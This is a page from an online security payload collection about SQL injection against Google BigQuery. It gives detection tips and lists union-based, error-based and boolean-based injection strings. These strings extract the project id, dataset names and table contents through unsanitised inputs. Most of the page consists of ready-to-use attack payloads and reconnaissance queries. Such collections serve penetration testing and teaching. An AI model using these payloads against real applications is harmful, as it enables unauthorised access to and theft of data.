TechnoFreaks - Security Lab
215 Payloads
15 Wordlists

SQL Injection Payloads & Testing Methodology

Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.

Overview (README)BigQuery InjectionCassandra InjectionDB2 InjectionMSSQL InjectionMySQL InjectionOracleSQL InjectionPostgreSQL InjectionSQLite InjectionSQLmap

Google BigQuery SQL Injection#

Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.

Summary#

Detection#

  • Use a classic single quote to trigger an error: '
  • Identify BigQuery using backtick notation: ``SELECT .... FROM AS ...``
SQL QueryDescription
SELECT @@project_idGathering project id
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATAGathering all dataset names
select * from project_id.dataset_name.table_nameGathering data from specific project id & dataset

BigQuery Comment#

TypeDescription
#Hash comment
/* PostgreSQL Comment */C-style comment

BigQuery Union Based#

ps14 lines
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

BigQuery Error Based#

SQL QueryDescription
' OR if(1/(length((select('a')))-1)=1,true,false) OR 'Division by zero
select CAST(@@project_id AS INT64)Casting

BigQuery Boolean Based#

ps11 line
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

BigQuery Time Based#

  • Time based functions does not exist in the BigQuery syntax.

References#